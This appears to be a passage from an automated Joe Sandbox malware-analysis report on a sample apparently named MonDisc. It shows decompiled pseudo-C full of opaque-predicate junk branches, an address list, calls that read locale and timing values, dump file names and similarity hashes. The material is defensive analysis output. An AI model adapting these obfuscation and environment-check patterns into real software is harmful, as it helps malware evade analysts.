				 *0xed236f60 = 0 | _t877 >= 0x00000000;
				 *0xed236f60 = 2;
				_t878 = 2 + r12b - 9;
				if (_t878 < 0) goto 0xed0f5e69;
				 *0xed236f60 = r12d;
				GetCommandLineW();
				asm("movaps xmm6, [esp+0x20]");
				_pop(_t927);
				_pop(_t925);
				_pop(_t923);
				_pop(_t920);
				_pop(_t905);
				goto E00007FF67FF6ED0FE2B0;
				asm("int3");
				asm("int3");
				_t891 = _t913 - 0x30 + 0x30;
				 *((long long*)(_t891 + 8)) = _a88;
				 *((long long*)(_t891 + 0x10)) = _a96;
				 *((long long*)(_t891 + 0x18)) = _a104;
				asm("movaps [eax-0x38], xmm6");
				r14d = r8d;
				E00007FF67FF6ED184484(_t891);
				r13d = 0x8000007f;
				r15d = 1;
				r12d = 0xffffff80;
				if (_t878 >= 0) goto 0xed0f5f95;
				asm("movsd xmm6, [0x113b2b]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t878 < 0) goto 0xed0f5fdd;
				 *0xed1ee3f0(_t927, _t925, _t923, _t920, _t905);
				E00007FF67FF6ED184484(_t891);
				if (_t878 >= 0) goto 0xed0f5fc4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t878 >= 0x00000000;
				goto 0xed0f601c;
				_t562 = E00007FF67FF6ED184484(_t891);
				if (_t878 >= 0) goto 0xed0f5ff0;
				_t879 = ((_t562 & r13d) - r15d | r12d) + r15d - 0x57;
				if (_t879 != 0) goto 0xed0f5ffb;
				E00007FF67FF6ED1EE020();
				_t567 = E00007FF67FF6ED184484(_t891);
				if (_t879 >= 0) goto 0xed0f600e;
				_t880 = ((_t567 & r13d) - r15d | r12d) + r15d - 0x57;
				 *0xed236f60 = 0 | _t880 == 0x00000000;
				 *0xed236f60 = r15d;
				_t572 = E00007FF67FF6ED184484(_t891);
				if (_t880 >= 0) goto 0xed0f6036;
				_t881 = ((_t572 & r13d) - r15d | r12d) + r15d - 0x29;
				if (_t881 <= 0) goto 0xed0f60c2;
				E00007FF67FF6ED184484(_t891);
				if (_t881 >= 0) goto 0xed0f6052;
				asm("movsd xmm6, [0x1139c6]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t881 < 0) goto 0xed0f606e;
				E00007FF67FF6ED1EE020();
				E00007FF67FF6ED184484(_t891);
				if (_t881 >= 0) goto 0xed0f6081;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t881 >= 0x00000000;
				 *0xed236f60 = r15d;
				_t589 = E00007FF67FF6ED184484(_t891);
				if (_t881 >= 0) goto 0xed0f60b2;
				 *0xed236f60 = 0 | ((_t589 & r13d) - r15d | r12d) + r15d - 0x00000029 > 0x00000000;
				goto 0xed0f60cc;
				 *0xed236f60 = 0;
				 *0xed236f60 = r15d;
				 *0xed1ee008();
				 *0xed236f60 = 0x26;
				if (0x26 + r15b - 0x35 < 0) goto 0xed0f60db;
				E00007FF67FF6ED1EE028();
				 *0xed236f60 = 0x2e;
				_t884 = 0x2e + r15b - 0x30;
				if (_t884 < 0) goto 0xed0f60ee;
				 *0xed1ee398();
				 *0xed236f60 = r15d;
				E00007FF67FF6ED184484(_t891);
				if (_t884 >= 0) goto 0xed0f6127;
				asm("movsd xmm6, [0x1138b1]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t884 != 0) goto 0xed0f613f;
				if (_t884 == 0) goto 0xed0f6174;
				 *0xed236f60 = 0;
				 *0xed236f60 = 0x34;
				_t604 = E00007FF67FF6ED184484(_t891);
				if (_t884 >= 0) goto 0xed0f616a;
				if (((_t604 & r13d) - r15d | r12d) + r15d - 0x3b < 0) goto 0xed0f6174;
				_t886 = 0x34 + r15b - 0x41;
				if (_t886 < 0) goto 0xed0f6141;
				E00007FF67FF6ED184484(_t891);
				if (_t886 >= 0) goto 0xed0f6187;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t886 != 0) goto 0xed0f619c;
				if (_t886 != 0) goto 0xed0f619c;
				goto 0xed0f619e;
				 *0xed236f60 = 0;
				 *0xed1ee3c8();
				 *0xed1ee3d0();
				 *0xed1ee398();
				goto 0xed0f61d4;
				asm("sti");
				_push(0x73);
				asm("fild word [ecx+ecx*4+0x3d]");
				return _t782 | 0xb60f0014;
			}

0x7ff6ed0f517b
0x7ff6ed0f5185
0x7ff6ed0f518c
0x7ff6ed0f518f
0x7ff6ed0f51a0
0x7ff6ed0f51a6
0x7ff6ed0f51b0
0x7ff6ed0f51b9
0x7ff6ed0f51bb
0x7ff6ed0f51c1
0x7ff6ed0f51c7
0x7ff6ed0f51cd
0x7ff6ed0f51d3
0x7ff6ed0f51d6
0x7ff6ed0f51d8
0x7ff6ed0f51df
0x7ff6ed0f51e5
0x7ff6ed0f51ed
0x7ff6ed0f51f6
0x7ff6ed0f51fa
0x7ff6ed0f51fe
0x7ff6ed0f5202
0x7ff6ed0f5204
0x7ff6ed0f520a
0x7ff6ed0f5214
0x7ff6ed0f5222
0x7ff6ed0f5228
0x7ff6ed0f522b
0x7ff6ed0f522d
0x7ff6ed0f5233
0x7ff6ed0f523b
0x7ff6ed0f5244
0x7ff6ed0f5247
0x7ff6ed0f5249
0x7ff6ed0f5251
0x7ff6ed0f5262
0x7ff6ed0f5270
0x7ff6ed0f5276
0x7ff6ed0f5279
0x7ff6ed0f527b
0x7ff6ed0f5287
0x7ff6ed0f528f
0x7ff6ed0f5298
0x7ff6ed0f52a0
0x7ff6ed0f52b7
0x7ff6ed0f52bd
0x7ff6ed0f52c6
0x7ff6ed0f52c8
0x7ff6ed0f52ce
0x7ff6ed0f52d6
0x7ff6ed0f52e2
0x7ff6ed0f52e8
0x7ff6ed0f52eb
0x7ff6ed0f52ef
0x7ff6ed0f52f5
0x7ff6ed0f52fb
0x7ff6ed0f5301
0x7ff6ed0f5309
0x7ff6ed0f5315
0x7ff6ed0f5319
0x7ff6ed0f531e
0x7ff6ed0f5326
0x7ff6ed0f532c
0x7ff6ed0f5334
0x7ff6ed0f533d
0x7ff6ed0f5340
0x7ff6ed0f5342
0x7ff6ed0f534a
0x7ff6ed0f535b
0x7ff6ed0f5361
0x7ff6ed0f536a
0x7ff6ed0f5370
0x7ff6ed0f5373
0x7ff6ed0f5377
0x7ff6ed0f537d
0x7ff6ed0f538b
0x7ff6ed0f5391
0x7ff6ed0f5399
0x7ff6ed0f53a5
0x7ff6ed0f53a7
0x7ff6ed0f53aa
0x7ff6ed0f53ac
0x7ff6ed0f53b1
0x7ff6ed0f53b9
0x7ff6ed0f53c2
0x7ff6ed0f53c5
0x7ff6ed0f53c7
0x7ff6ed0f53d1
0x7ff6ed0f53d9
0x7ff6ed0f53ea
0x7ff6ed0f53f6
0x7ff6ed0f53ff
0x7ff6ed0f5405
0x7ff6ed0f5408
0x7ff6ed0f540e
0x7ff6ed0f5418
0x7ff6ed0f541c
0x7ff6ed0f5424
0x7ff6ed0f542a
0x7ff6ed0f5432
0x7ff6ed0f543c
0x7ff6ed0f5442
0x7ff6ed0f544a
0x7ff6ed0f544f
0x7ff6ed0f5457
0x7ff6ed0f545d
0x7ff6ed0f5465
0x7ff6ed0f546e
0x7ff6ed0f5471
0x7ff6ed0f5473
0x7ff6ed0f547b
0x7ff6ed0f5484
0x7ff6ed0f5487
0x7ff6ed0f548b
0x7ff6ed0f5491
0x7ff6ed0f5499
0x7ff6ed0f54aa
0x7ff6ed0f54b0
0x7ff6ed0f54b8
0x7ff6ed0f54c4
0x7ff6ed0f54ca
0x7ff6ed0f54cd
0x7ff6ed0f54d1
0x7ff6ed0f54d7
0x7ff6ed0f54dd
0x7ff6ed0f54e3
0x7ff6ed0f54eb
0x7ff6ed0f54f4
0x7ff6ed0f54f7
0x7ff6ed0f54f9
0x7ff6ed0f5501
0x7ff6ed0f550c
0x7ff6ed0f5512
0x7ff6ed0f5520
0x7ff6ed0f5526
0x7ff6ed0f552e
0x7ff6ed0f553a
0x7ff6ed0f553c
0x7ff6ed0f553f
0x7ff6ed0f5543
0x7ff6ed0f5549
0x7ff6ed0f5551
0x7ff6ed0f555a
0x7ff6ed0f555d
0x7ff6ed0f555f
0x7ff6ed0f5567
0x7ff6ed0f5578
0x7ff6ed0f557a
0x7ff6ed0f5582
0x7ff6ed0f558b
0x7ff6ed0f558e
0x7ff6ed0f5590
0x7ff6ed0f5598
0x7ff6ed0f55a1
0x7ff6ed0f55a9
0x7ff6ed0f55af
0x7ff6ed0f55b7
0x7ff6ed0f55c3
0x7ff6ed0f55c7
0x7ff6ed0f55cd
0x7ff6ed0f55d7
0x7ff6ed0f55dd
0x7ff6ed0f55e0
0x7ff6ed0f55e2
0x7ff6ed0f55ea
0x7ff6ed0f55fd
0x7ff6ed0f5605
0x7ff6ed0f5611
0x7ff6ed0f5617
0x7ff6ed0f561a
0x7ff6ed0f561c
0x7ff6ed0f5624
0x7ff6ed0f562d
0x7ff6ed0f5630
0x7ff6ed0f5635
0x7ff6ed0f563b
0x7ff6ed0f5641
0x7ff6ed0f5649
0x7ff6ed0f5652
0x7ff6ed0f5656
0x7ff6ed0f565a
0x7ff6ed0f5662
0x7ff6ed0f5664
0x7ff6ed0f5667
0x7ff6ed0f5669
0x7ff6ed0f5671
0x7ff6ed0f567a
0x7ff6ed0f567d
0x7ff6ed0f5681
0x7ff6ed0f568f
0x7ff6ed0f5694
0x7ff6ed0f5699
0x7ff6ed0f569e
0x7ff6ed0f56a3
0x7ff6ed0f56a8
0x7ff6ed0f56ad
0x7ff6ed0f56b1
0x7ff6ed0f56b3
0x7ff6ed0f56b5
0x7ff6ed0f56b6
0x7ff6ed0f56bb
0x7ff6ed0f56bc
0x7ff6ed0f56bf
0x7ff6ed0f56c3
0x7ff6ed0f56c7
0x7ff6ed0f56cb
0x7ff6ed0f56e1
0x7ff6ed0f56e5
0x7ff6ed0f56ee
0x7ff6ed0f56fc
0x7ff6ed0f5701
0x7ff6ed0f570f
0x7ff6ed0f5717
0x7ff6ed0f571a
0x7ff6ed0f571f
0x7ff6ed0f5723
0x7ff6ed0f5729
0x7ff6ed0f5736
0x7ff6ed0f573c
0x7ff6ed0f5744
0x7ff6ed0f574f
0x7ff6ed0f5751
0x7ff6ed0f5757
0x7ff6ed0f5761
0x7ff6ed0f576d
0x7ff6ed0f5773
0x7ff6ed0f5776
0x7ff6ed0f577a
0x7ff6ed0f5780
0x7ff6ed0f5788
0x7ff6ed0f5790
0x7ff6ed0f5793
0x7ff6ed0f5795
0x7ff6ed0f579c
0x7ff6ed0f57a4
0x7ff6ed0f57af
0x7ff6ed0f57b5
0x7ff6ed0f57bb
0x7ff6ed0f57bd
0x7ff6ed0f57c3
0x7ff6ed0f57ca
0x7ff6ed0f57d2
0x7ff6ed0f57dd
0x7ff6ed0f57e7
0x7ff6ed0f57ed
0x7ff6ed0f57f0
0x7ff6ed0f57f2
0x7ff6ed0f57fa
0x7ff6ed0f5805
0x7ff6ed0f580b
0x7ff6ed0f5819
0x7ff6ed0f581f
0x7ff6ed0f5827
0x7ff6ed0f5832
0x7ff6ed0f5834
0x7ff6ed0f5837
0x7ff6ed0f5839
0x7ff6ed0f583f
0x7ff6ed0f5845
0x7ff6ed0f584b
0x7ff6ed0f5851
0x7ff6ed0f5856
0x7ff6ed0f585b
0x7ff6ed0f5863
0x7ff6ed0f5866
0x7ff6ed0f5868
0x7ff6ed0f586f
0x7ff6ed0f587a
0x7ff6ed0f5880
0x7ff6ed0f5886
0x7ff6ed0f588d
0x7ff6ed0f5895
0x7ff6ed0f589b
0x7ff6ed0f589f
0x7ff6ed0f58a2
0x7ff6ed0f58a4
0x7ff6ed0f58ab
0x7ff6ed0f58bb
0x7ff6ed0f58c0
0x7ff6ed0f58c7
0x7ff6ed0f58cf
0x7ff6ed0f58d2
0x7ff6ed0f58d8
0x7ff6ed0f58df
0x7ff6ed0f58e7
0x7ff6ed0f58ea
0x7ff6ed0f58ee
0x7ff6ed0f58f4
0x7ff6ed0f58fb
0x7ff6ed0f5905
0x7ff6ed0f590b
0x7ff6ed0f5911
0x7ff6ed0f5916
0x7ff6ed0f591d
0x7ff6ed0f5925
0x7ff6ed0f592d
0x7ff6ed0f5931
0x7ff6ed0f5935
0x7ff6ed0f5939
0x7ff6ed0f593b
0x7ff6ed0f5942
0x7ff6ed0f594d
0x7ff6ed0f5951
0x7ff6ed0f5956
0x7ff6ed0f5958
0x7ff6ed0f5964
0x7ff6ed0f596a
0x7ff6ed0f5974
0x7ff6ed0f597c
0x7ff6ed0f597f
0x7ff6ed0f5981
0x7ff6ed0f598b
0x7ff6ed0f598d
0x7ff6ed0f5993
0x7ff6ed0f599a
0x7ff6ed0f59a4
0x7ff6ed0f59aa
0x7ff6ed0f59b0
0x7ff6ed0f59b7
0x7ff6ed0f59bf
0x7ff6ed0f59c5
0x7ff6ed0f59c9
0x7ff6ed0f59d0
0x7ff6ed0f59d6
0x7ff6ed0f59dd
0x7ff6ed0f59ed
0x7ff6ed0f59f3
0x7ff6ed0f59fb
0x7ff6ed0f5a09
0x7ff6ed0f5a13
0x7ff6ed0f5a15
0x7ff6ed0f5a23
0x7ff6ed0f5a29
0x7ff6ed0f5a2c
0x7ff6ed0f5a30
0x7ff6ed0f5a36
0x7ff6ed0f5a3d
0x7ff6ed0f5a46
0x7ff6ed0f5a49
0x7ff6ed0f5a4b
0x7ff6ed0f5a52
0x7ff6ed0f5a5d
0x7ff6ed0f5a63
0x7ff6ed0f5a69
0x7ff6ed0f5a6b
0x7ff6ed0f5a71
0x7ff6ed0f5a7b
0x7ff6ed0f5a82
0x7ff6ed0f5a8b
0x7ff6ed0f5a93
0x7ff6ed0f5a97
0x7ff6ed0f5a9b
0x7ff6ed0f5a9f
0x7ff6ed0f5aa9
0x7ff6ed0f5aaf
0x7ff6ed0f5ab2
0x7ff6ed0f5ab4
0x7ff6ed0f5abb
0x7ff6ed0f5ac4
0x7ff6ed0f5aca
0x7ff6ed0f5ace
0x7ff6ed0f5ad5
0x7ff6ed0f5adb
0x7ff6ed0f5ae2
0x7ff6ed0f5aeb
0x7ff6ed0f5af3
0x7ff6ed0f5af7
0x7ff6ed0f5afb
0x7ff6ed0f5aff
0x7ff6ed0f5b01
0x7ff6ed0f5b08
0x7ff6ed0f5b11
0x7ff6ed0f5b17
0x7ff6ed0f5b1b
0x7ff6ed0f5b22
0x7ff6ed0f5b28
0x7ff6ed0f5b2e
0x7ff6ed0f5b34
0x7ff6ed0f5b3b
0x7ff6ed0f5b44
0x7ff6ed0f5b47
0x7ff6ed0f5b49
0x7ff6ed0f5b50
0x7ff6ed0f5b61
0x7ff6ed0f5b69
0x7ff6ed0f5b6f
0x7ff6ed0f5b75
0x7ff6ed0f5b7b
0x7ff6ed0f5b85
0x7ff6ed0f5b91
0x7ff6ed0f5b97
0x7ff6ed0f5b9a
0x7ff6ed0f5b9c
0x7ff6ed0f5ba2
0x7ff6ed0f5ba8
0x7ff6ed0f5bb4
0x7ff6ed0f5bbd
0x7ff6ed0f5bc5
0x7ff6ed0f5bc9
0x7ff6ed0f5bcd
0x7ff6ed0f5bd1
0x7ff6ed0f5bd7
0x7ff6ed0f5bda
0x7ff6ed0f5be1
0x7ff6ed0f5bea
0x7ff6ed0f5bed
0x7ff6ed0f5bf6
0x7ff6ed0f5bfc
0x7ff6ed0f5c06
0x7ff6ed0f5c12
0x7ff6ed0f5c17
0x7ff6ed0f5c19
0x7ff6ed0f5c23
0x7ff6ed0f5c25
0x7ff6ed0f5c2c
0x7ff6ed0f5c35
0x7ff6ed0f5c38
0x7ff6ed0f5c3a
0x7ff6ed0f5c41
0x7ff6ed0f5c4c
0x7ff6ed0f5c52
0x7ff6ed0f5c58
0x7ff6ed0f5c5f
0x7ff6ed0f5c74
0x7ff6ed0f5c77
0x7ff6ed0f5c7d
0x7ff6ed0f5c83
0x7ff6ed0f5c87
0x7ff6ed0f5c8d
0x7ff6ed0f5c94
0x7ff6ed0f5c9d
0x7ff6ed0f5ca3
0x7ff6ed0f5ca7
0x7ff6ed0f5cae
0x7ff6ed0f5cb6
0x7ff6ed0f5cb6
0x7ff6ed0f5cc2
0x7ff6ed0f5ccd
0x7ff6ed0f5cd3
0x7ff6ed0f5ce1
0x7ff6ed0f5ce6
0x7ff6ed0f5cf1
0x7ff6ed0f5cff
0x7ff6ed0f5d03
0x7ff6ed0f5d0b
0x7ff6ed0f5d11
0x7ff6ed0f5d14
0x7ff6ed0f5d1e
0x7ff6ed0f5d20
0x7ff6ed0f5d24
0x7ff6ed0f5d26
0x7ff6ed0f5d29
0x7ff6ed0f5d37
0x7ff6ed0f5d3d
0x7ff6ed0f5d45
0x7ff6ed0f5d52
0x7ff6ed0f5d5a
0x7ff6ed0f5d63
0x7ff6ed0f5d67
0x7ff6ed0f5d6f
0x7ff6ed0f5d75
0x7ff6ed0f5d83
0x7ff6ed0f5d89
0x7ff6ed0f5d8c
0x7ff6ed0f5d8e
0x7ff6ed0f5d91
0x7ff6ed0f5d99
0x7ff6ed0f5da3
0x7ff6ed0f5dab
0x7ff6ed0f5db1
0x7ff6ed0f5db5
0x7ff6ed0f5dba
0x7ff6ed0f5dc2
0x7ff6ed0f5dc8
0x7ff6ed0f5dd0
0x7ff6ed0f5dda
0x7ff6ed0f5ddd
0x7ff6ed0f5ddf
0x7ff6ed0f5de6
0x7ff6ed0f5dec
0x7ff6ed0f5df4
0x7ff6ed0f5dfe
0x7ff6ed0f5e02
0x7ff6ed0f5e06
0x7ff6ed0f5e0a
0x7ff6ed0f5e0c
0x7ff6ed0f5e0e
0x7ff6ed0f5e15
0x7ff6ed0f5e1f
0x7ff6ed0f5e21
0x7ff6ed0f5e2b
0x7ff6ed0f5e2d
0x7ff6ed0f5e31
0x7ff6ed0f5e35
0x7ff6ed0f5e3b
0x7ff6ed0f5e42
0x7ff6ed0f5e48
0x7ff6ed0f5e50
0x7ff6ed0f5e5a
0x7ff6ed0f5e5d
0x7ff6ed0f5e5f
0x7ff6ed0f5e69
0x7ff6ed0f5e71
0x7ff6ed0f5e7b
0x7ff6ed0f5e7f
0x7ff6ed0f5e83
0x7ff6ed0f5e87
0x7ff6ed0f5e89
0x7ff6ed0f5e91
0x7ff6ed0f5e9b
0x7ff6ed0f5e9e
0x7ff6ed0f5ea0
0x7ff6ed0f5ea6
0x7ff6ed0f5eae
0x7ff6ed0f5eba
0x7ff6ed0f5ec0
0x7ff6ed0f5ec6
0x7ff6ed0f5ece
0x7ff6ed0f5ed8
0x7ff6ed0f5ede
0x7ff6ed0f5ee2
0x7ff6ed0f5eec
0x7ff6ed0f5ef5
0x7ff6ed0f5efb
0x7ff6ed0f5efe
0x7ff6ed0f5f04
0x7ff6ed0f5f0b
0x7ff6ed0f5f2f
0x7ff6ed0f5f38
0x7ff6ed0f5f3a
0x7ff6ed0f5f3c
0x7ff6ed0f5f3e
0x7ff6ed0f5f40
0x7ff6ed0f5f41
0x7ff6ed0f5f46
0x7ff6ed0f5f47
0x7ff6ed0f5f48
0x7ff6ed0f5f4b
0x7ff6ed0f5f4f
0x7ff6ed0f5f53
0x7ff6ed0f5f64
0x7ff6ed0f5f68
0x7ff6ed0f5f70
0x7ff6ed0f5f75
0x7ff6ed0f5f7b
0x7ff6ed0f5f81
0x7ff6ed0f5f8a
0x7ff6ed0f5f95
0x7ff6ed0f5f9d
0x7ff6ed0f5fa1
0x7ff6ed0f5fa5
0x7ff6ed0f5fa9
0x7ff6ed0f5fab
0x7ff6ed0f5fb1
0x7ff6ed0f5fb9
0x7ff6ed0f5fc4
0x7ff6ed0f5fca
0x7ff6ed0f5fce
0x7ff6ed0f5fd5
0x7ff6ed0f5fdb
0x7ff6ed0f5fdd
0x7ff6ed0f5fe5
0x7ff6ed0f5ff0
0x7ff6ed0f5ff3
0x7ff6ed0f5ff5
0x7ff6ed0f5ffb
0x7ff6ed0f6003
0x7ff6ed0f6010
0x7ff6ed0f6016
0x7ff6ed0f601c
0x7ff6ed0f6023
0x7ff6ed0f602b
0x7ff6ed0f6036
0x7ff6ed0f6039
0x7ff6ed0f603f
0x7ff6ed0f6047
0x7ff6ed0f6052
0x7ff6ed0f605a
0x7ff6ed0f605e
0x7ff6ed0f6062
0x7ff6ed0f6066
0x7ff6ed0f6068
0x7ff6ed0f606e
0x7ff6ed0f6076
0x7ff6ed0f6081
0x7ff6ed0f6087
0x7ff6ed0f608b
0x7ff6ed0f6092
0x7ff6ed0f6098
0x7ff6ed0f609f
0x7ff6ed0f60a7
0x7ff6ed0f60ba
0x7ff6ed0f60c0
0x7ff6ed0f60c2
0x7ff6ed0f60cc
0x7ff6ed0f60d3
0x7ff6ed0f60e1
0x7ff6ed0f60ea
0x7ff6ed0f60f0
0x7ff6ed0f60fc
0x7ff6ed0f6102
0x7ff6ed0f6105
0x7ff6ed0f6107
0x7ff6ed0f610d
0x7ff6ed0f6114
0x7ff6ed0f611c
0x7ff6ed0f6127
0x7ff6ed0f612f
0x7ff6ed0f6133
0x7ff6ed0f6137
0x7ff6ed0f613b
0x7ff6ed0f613d
0x7ff6ed0f6141
0x7ff6ed0f6151
0x7ff6ed0f6157
0x7ff6ed0f615f
0x7ff6ed0f616d
0x7ff6ed0f616f
0x7ff6ed0f6172
0x7ff6ed0f6174
0x7ff6ed0f617c
0x7ff6ed0f6187
0x7ff6ed0f618b
0x7ff6ed0f618f
0x7ff6ed0f6193
0x7ff6ed0f6195
0x7ff6ed0f619a
0x7ff6ed0f619e
0x7ff6ed0f61a4
0x7ff6ed0f61ac
0x7ff6ed0f61b2
0x7ff6ed0f61ba
0x7ff6ed0f61bd
0x7ff6ed0f61be
0x7ff6ed0f61c3
0x7ff6ed0f61cd

APIs

GetMessageTime.USER32 ref: 00007FF6ED0F5214
GetUserDefaultLangID.KERNEL32 ref: 00007FF6ED0F52C8
GetSystemDefaultLangID.KERNEL32 ref: 00007FF6ED0F52D6
GetParent.USER32 ref: 00007FF6ED0F52EF
GetDoubleClickTime.USER32 ref: 00007FF6ED0F52F5
GetDoubleClickTime.USER32 ref: 00007FF6ED0F52FB

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: Time$ClickDefaultDoubleLang$MessageParentSystemUser
String ID:
API String ID: 2994643361-0
Opcode ID: 91ec8c885c2c6ff6561f716371217a6039addec031bcfe83c507029f45e2ccbf
Instruction ID: 8b8427809adadfe689c7b1fb30b41c1512623ea4bbecc256020071a58f4443db
Opcode Fuzzy Hash: 91ec8c885c2c6ff6561f716371217a6039addec031bcfe83c507029f45e2ccbf
Instruction Fuzzy Hash: 20825767E1C9074AF6459F349D5A3B926956F20211F380A3AD50AD3297FF3EF149810F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0F5191 Relevance: 73.0, APIs: 48, Instructions: 993
timewindowCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 52%

			E00007FF67FF6ED0F5191(void* __eax, void* __ebx, signed int __esi, signed int __ebp, intOrPtr* __rax, long long __rcx, struct HWND__* __r12, struct HWND__* __r13, signed long long _a80, long long _a88, long long _a96, long long _a104) {
				signed int _t97;
				signed int _t102;
				signed int _t113;
				signed int _t126;
				signed int _t132;
				signed int _t137;
				signed int _t146;
				signed int _t151;
				signed int _t156;
				signed int _t169;
				signed int _t174;
				signed int _t180;
				signed int _t190;
				signed int _t195;
				signed int _t201;
				signed int _t207;
				signed int _t212;
				signed int _t217;
				signed int _t222;
				signed int _t227;
				signed int _t234;
				signed int _t241;
				signed int _t252;
				signed int _t266;
				signed int _t276;
				signed int _t281;
				signed int _t287;
				signed int _t293;
				signed int _t299;
				signed int _t306;
				signed int _t311;
				signed int _t316;
				signed int _t321;
				signed int _t326;
				signed int _t331;
				signed int _t337;
				signed int _t347;
				signed int _t354;
				signed int _t361;
				signed int _t373;
				signed int _t383;
				signed int _t388;
				signed int _t420;
				signed int _t425;
				signed int _t443;
				signed int _t449;
				signed int _t455;
				signed int _t460;
				signed int _t465;
				signed int _t484;
				signed int _t500;
				signed int _t514;
				signed int _t524;
				signed int _t530;
				signed int _t557;
				signed int _t562;
				signed int _t567;
				signed int _t584;
				signed int _t599;
				signed char _t618;
				signed char _t638;
				signed int _t645;
				signed char _t682;
				signed int _t768;
				signed int _t777;
				void* _t781;
				void* _t782;
				void* _t783;
				void* _t785;
				void* _t788;
				void* _t791;
				void* _t793;
				void* _t795;
				void* _t796;
				void* _t801;
				void* _t802;
				void* _t804;
				void* _t805;
				void* _t806;
				void* _t808;
				void* _t809;
				void* _t811;
				void* _t812;
				void* _t814;
				void* _t816;
				void* _t817;
				void* _t818;
				void* _t819;
				void* _t822;
				void* _t823;
				void* _t824;
				void* _t826;
				void* _t827;
				void* _t829;
				void* _t830;
				void* _t831;
				void* _t832;
				void* _t834;
				void* _t835;
				void* _t836;
				void* _t839;
				void* _t840;
				void* _t843;
				void* _t844;
				void* _t845;
				void* _t846;
				void* _t847;
				void* _t849;
				void* _t850;
				void* _t853;
				void* _t854;
				void* _t856;
				void* _t859;
				void* _t862;
				void* _t865;
				void* _t867;
				void* _t868;
				void* _t869;
				void* _t870;
				void* _t871;
				void* _t872;
				void* _t873;
				void* _t874;
				void* _t877;
				void* _t879;
				intOrPtr* _t882;
				void* _t883;
				void* _t884;
				signed long long _t886;
				intOrPtr _t894;
				struct HWND__* _t896;
				void* _t898;
				long long _t899;
				long long _t901;
				void* _t905;
				void* _t906;
				void* _t913;
				void* _t916;
				struct HWND__* _t917;
				void* _t918;
				WCHAR* _t919;
				void* _t920;

				_t882 = __rax;
				 *0xed236f60 = __esi & 0xffffff00 | (__eax - __ebp | r14d) + __ebp != 0x00000010;
				goto 0xed0f51c7;
				 *0xed236f60 = 0x37;
				if (0x37 + bpl - 0x46 < 0) goto 0xed0f51aa;
				 *0xed236f60 = __ebp;
				 *0xed236f60 = __esi;
				_t618 = __ebx + bpl;
				 *0xed236f60 = _t618 & 0x000000ff;
				_t781 = _t618 - 0x4e;
				if (_t781 < 0) goto 0xed0f5171;
				dil = dil + bpl;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(__rax);
				if (_t781 >= 0) goto 0xed0f51f6;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t781 != 0) goto 0xed0f520a;
				if (_t781 == 0) goto 0xed0f5165;
				 *0xed236f60 = 0x2f;
				GetMessageTime();
				 *0xed236f60 = 0x12;
				_t782 = 0x12 + bpl - 0x22;
				if (_t782 < 0) goto 0xed0f521c;
				 *0xed236f60 = __ebp;
				_t97 = E00007FF67FF6ED184484(__rax);
				if (_t782 >= 0) goto 0xed0f5244;
				_t783 = ((_t97 & r15d) - __ebp | r14d) + __ebp - 0x44;
				if (_t783 >= 0) goto 0xed0f5268;
				_t102 = E00007FF67FF6ED184484(__rax);
				if (_t783 >= 0) goto 0xed0f525a;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t102 & r15d) - __ebp | r14d) + __ebp - 0x00000044 < 0x00000000;
				 *0xed236f60 = 0x19;
				_t785 = 0x19 + bpl - 0x24;
				if (_t785 < 0) goto 0xed0f526a;
				 *0xed236f60 = 0x41;
				E00007FF67FF6ED184484(__rax);
				if (_t785 >= 0) goto 0xed0f5298;
				_t113 = E00007FF67FF6ED184484(__rax);
				if (_t785 >= 0) goto 0xed0f52a9;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t113 & r15d) - __ebp | r14d) + __ebp - 0x0000005a > 0x00000000;
				 *0xed236f60 = 0x69;
				if (0x69 + bpl - 0x6c < 0) goto 0xed0f5287; // executed
				GetUserDefaultLangID(); // executed
				 *0xed1ee398();
				GetSystemDefaultLangID();
				 *0xed236f60 = 0x1f;
				_t788 = 0x1f + bpl - 0x32;
				if (_t788 < 0) goto 0xed0f52d6;
				GetParent(??);
				GetDoubleClickTime();
				GetDoubleClickTime();
				_t126 = E00007FF67FF6ED184484(__rax);
				if (_t788 >= 0) goto 0xed0f5312;
				if (((_t126 & r15d) - __ebp | r14d) + __ebp - 0x45 >= 0) goto 0xed0f5361;
				goto 0xed0f532c;
				if (0x5f - 0x73 >= 0) goto 0xed0f5342;
